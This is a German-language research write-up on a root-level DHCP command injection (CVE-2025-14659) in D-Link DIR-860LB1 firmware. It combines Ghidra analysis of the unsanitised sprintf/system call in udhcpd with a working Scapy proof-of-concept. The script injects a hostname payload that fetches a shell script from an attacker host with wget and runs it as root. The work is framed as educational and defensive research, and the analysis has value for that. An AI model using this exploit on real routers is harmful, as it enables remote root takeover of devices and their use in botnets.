
Statische Analyse (Ghidra) und benutzerdefiniertes Packet-Crafting (Scapy) zum Nachweis einer Root-Level-DHCP-Command-Injection-Schwachstelle (CVE-2025-14659) in D-Link-Firmware
Autor: Peter Lin
Datum: Mai 2026
Projektbeschreibung: CVE-2025-14659 meldete eine Command-Injection-Schwachstelle, die auf die DHCP-Daemon-Komponente im drahtlosen Router D-Link DIR-860LB1 mit der Firmware v203b03 abzielt. Diese Command-Injection könnte es einem Angreifer ermöglichen, beliebige Befehle mit Root-Rechten auf diesem Zielrouter auszuführen, wenn ein DHCP-Client einen bestehenden Lease mit einem bösartigen Hostnamen erneuert. Ich werde die Firmware des DIR-860LB1-Geräts extrahieren und die Schwachstelle im DHCP-Daemon (udhcpd) durch statische Analyse mit Ghidra identifizieren. Anschließend werde ich eine Emulations-Engine wie FirmAE nutzen, um die Umgebung dieses Routers zu emulieren und einen Proof-of-Concept-Angriff gegen dieses Ziel zu demonstrieren.
udhcpd (DHCP-Daemon)Betrachtet man die Funktion udhcpd_main in Ghidra, sitzt die Schwachstelle direkt im case 3-Block (DHCPREQUEST):
get_option(auStack_254, 0xc).sprintf() in einen String-Puffer geschrieben:
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system()-Aufruf, ohne Shell-Zeichen zu bereinigen:
system(acStack_454);
Da der Daemon als root läuft, ermöglicht das Einfügen von Shell-Metazeichen (wie ; oder |) in den Hostnamen einem Angreifer die Ausführung beliebiger Systembefehle.
cve_poc.py)Dieses funktionale Scapy-Skript simuliert einen bösartigen Client, der eine Lease-Erneuerung mit einer injizierten Hostnamen-Payload anfordert:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
Wenn diese Schwachstelle in freier Wildbahn ausgenutzt wird, kann ein Angreifer sie für Folgendes verwenden:
/tmp), um die Hardware in DDoS-Netzwerke einzubinden.Haftungsausschluss: Dieses Projekt wurde ausschließlich zu Bildungszwecken, zum Portfolio-Aufbau und für defensive Sicherheitsforschung erstellt.